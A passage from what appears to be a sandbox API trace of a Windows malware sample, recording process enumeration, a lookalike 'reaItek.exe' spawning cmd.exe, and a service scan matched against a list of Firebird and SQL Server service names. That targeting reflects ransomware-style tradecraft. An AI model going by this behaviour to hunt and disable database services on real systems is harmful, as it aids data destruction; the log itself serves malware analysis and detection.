th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="quantum_appeals_das.exe")) returned 1 [0105.478] lstrlenW (lpString="quantum_appeals_das.exe") returned 23 [0105.478] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mixture_bidding_beam.exe")) returned 1 [0105.479] lstrlenW (lpString="mixture_bidding_beam.exe") returned 24 [0105.479] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="customs-denial-enough.exe")) returned 1 [0105.480] lstrlenW (lpString="customs-denial-enough.exe") returned 25 [0105.480] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="dome.exe")) returned 1 [0105.481] lstrlenW (lpString="dome.exe") returned 8 [0105.481] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wires_jacket_neighborhood.exe")) returned 1 [0105.482] lstrlenW (lpString="wires_jacket_neighborhood.exe") returned 29 [0105.482] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="paying.exe")) returned 1 [0105.483] lstrlenW (lpString="paying.exe") returned 10 [0105.483] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="emission.exe")) returned 1 [0105.484] lstrlenW (lpString="emission.exe") returned 12 [0105.484] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="sandy_barriers.exe")) returned 1 [0105.485] lstrlenW (lpString="sandy_barriers.exe") returned 18 [0105.485] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charter.exe")) returned 1 [0105.486] lstrlenW (lpString="charter.exe") returned 11 [0105.486] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0105.487] lstrlenW (lpString="nickel.exe") returned 10 [0105.487] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="opened-conservative-warnings.exe")) returned 1 [0105.488] lstrlenW (lpString="opened-conservative-warnings.exe") returned 32 [0105.488] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist.exe")) returned 1 [0105.490] lstrlenW (lpString="wrist.exe") returned 9 [0105.490] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bloodpopularity.exe")) returned 1 [0105.491] lstrlenW (lpString="bloodpopularity.exe") returned 19 [0105.491] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="neck.exe")) returned 1 [0105.492] lstrlenW (lpString="neck.exe") returned 8 [0105.492] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0105.493] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0105.493] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0105.494] lstrlenW (lpString="dllhost.exe") returned 11 [0105.494] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0105.495] lstrlenW (lpString="taskhostw.exe") returned 13 [0105.495] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.496] lstrlenW (lpString="svchost.exe") returned 11 [0105.496] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaItek.exe")) returned 1 [0105.497] lstrlenW (lpString="reaItek.exe") returned 11 [0105.498] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0105.515] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0105.515] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0105.516] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0105.516] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0105.517] lstrlenW (lpString="conhost.exe") returned 11 [0105.517] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x408, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0105.518] lstrlenW (lpString="cmd.exe") returned 7 [0105.518] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x9fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0105.519] lstrlenW (lpString="conhost.exe") returned 11 [0105.519] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0105.520] lstrlenW (lpString="sppsvc.exe") returned 10 [0105.520] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x9fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0105.521] lstrlenW (lpString="mode.com") returned 8 [0105.521] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x9fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0105.522] CloseHandle (hObject=0x374) returned 1 [0105.522] Sleep (dwMilliseconds=0x1f4) [0106.110] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5fed18 [0106.110] EnumServicesStatusExW (in: hSCManager=0x5fed18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0106.111] GetLastError () returned 0xea [0106.111] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1fc0) returned 0x61c998 [0106.111] EnumServicesStatusExW (in: hSCManager=0x5fed18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x61c998, cbBufSize=0x1fc0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x61c998, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0106.111] CloseServiceHandle (hSCObject=0x5fed18) returned 1 [0106.112] lstrlenW (lpString="Appinfo") returned 7 [0106.112] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0106.112] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0106.112] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0106.112] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0106.112] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0106.112] lstrlenW (lpString="AppXSvc") returned 7 [0106.112] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0106.112] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0106.112] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0106.112] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0106.112] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0106.112] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0106.112] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0106.112] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0106.112] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0106.112] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0106.112] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0106.112] lstrlenW (lpString="Audiosrv") returned 8 [0106.112] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0106.112] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0106.112] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0106.112] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0106.112] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0106.113] lstrlenW (lpString="BFE") returned 3 [0106.113] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0106.113] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0106.113] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0106.113] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0106.113] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0106.113] lstrlenW (lpString="BITS") returned 4 [0106.113] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0106.113] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0106.113] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0106.113] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0106.113] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0106.113] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0106.113] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0106.113] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0106.113] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0106.113] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0106.113] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0106.113] lstrlenW (lpString="CDPSvc") returned 6 [0106.113] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0106.113] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0106.113] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0106.113] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0106.113] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0106.113] lstrlenW (lpString="ClickToRunSvc") returned 13 [0106.113] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0106.113] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0106.113] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0106.113] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0106.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0106.114] lstrlenW (lpString="ClipSVC") returned 7 [0106.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0106.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0106.114] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0106.114] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0106.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0106.114] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0106.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0106.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0106.114] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0106.114] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0106.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0106.114] lstrlenW (lpString="CryptSvc") returned 8 [0106.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0106.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0106.114] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0106.114] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0106.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0106.114] lstrlenW (lpString="DcomLaunch") returned 10 [0106.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0106.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0106.114] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0106.114] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0106.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0106.114] lstrlenW (lpString="DeviceAssociationService") returned 24 [0106.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0106.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0106.114] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0106.115] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0106.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0106.115] lstrlenW (lpString="Dhcp") returned 4 [0106.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0106.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0106.115] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0106.115] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0106.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0106.115] lstrlenW (lpString="Dnscache") returned 8 [0106.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0106.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0106.115] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0106.115] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0106.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0106.115] lstrlenW (lpString="DoSvc") returned 5 [0106.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0106.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0106.115] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0106.115] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0106.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0106.115] lstrlenW (lpString="DPS") returned 3 [0106.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0106.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0106.115] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0106.115] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0106.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0106.115] lstrlenW (lpString="DusmSvc") returned 7 [0106.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0106.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0106.115] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0106.116] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0106.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0106.116] lstrlenW (lpString="EventLog") returned 8 [0106.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0106.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0106.116] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0106.116] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0106.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0106.116] lstrlenW (lpString="EventSystem") returned 11 [0106.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0106.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0106.116] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0106.116] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0106.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0106.116] lstrlenW (lpString="FontCache") returned 9 [0106.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0106.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0106.116] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0106.116] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0106.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0106.116] lstrlenW (lpString="gpsvc") returned 5 [0106.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0106.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0106.116] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0106.116] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0106.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0106.116] lstrlenW (lpString="iphlpsvc") returned 8 [0106.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0106.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0106.117] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0106.117] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0106.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0106.117] lstrlenW (lpString="KeyIso") returned 6 [0106.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0106.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0106.117] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0106.117] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0106.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0106.117] lstrlenW (lpString="LanmanServer") returned 12 [0106.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0106.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0106.117] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0106.117] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0106.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0106.117] lstrlenW (lpString="LanmanWorkstation") returned 17 [0106.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0106.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0106.117] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0106.117] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0106.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0106.117] lstrlenW (lpString="lfsvc") returned 5 [0106.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0106.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0106.117] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0106.117] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0106.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0106.117] lstrlenW (lpString="LicenseManager") returned 14 [0106.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0106.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0106.118] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0106.118] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0106.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0106.118] lstrlenW (lpString="lmhosts") returned 7 [0106.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0106.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0106.118] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0106.118] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0106.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0106.118] lstrlenW (lpString="LSM") returned 3 [0106.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0106.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0106.118] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0106.118] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0106.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0106.118] lstrlenW (lpString="MpsSvc") returned 6 [0106.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0106.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0106.118] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0106.118] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0106.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0106.118] lstrlenW (lpString="NcbService") returned 10 [0106.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0106.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0106.118] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") 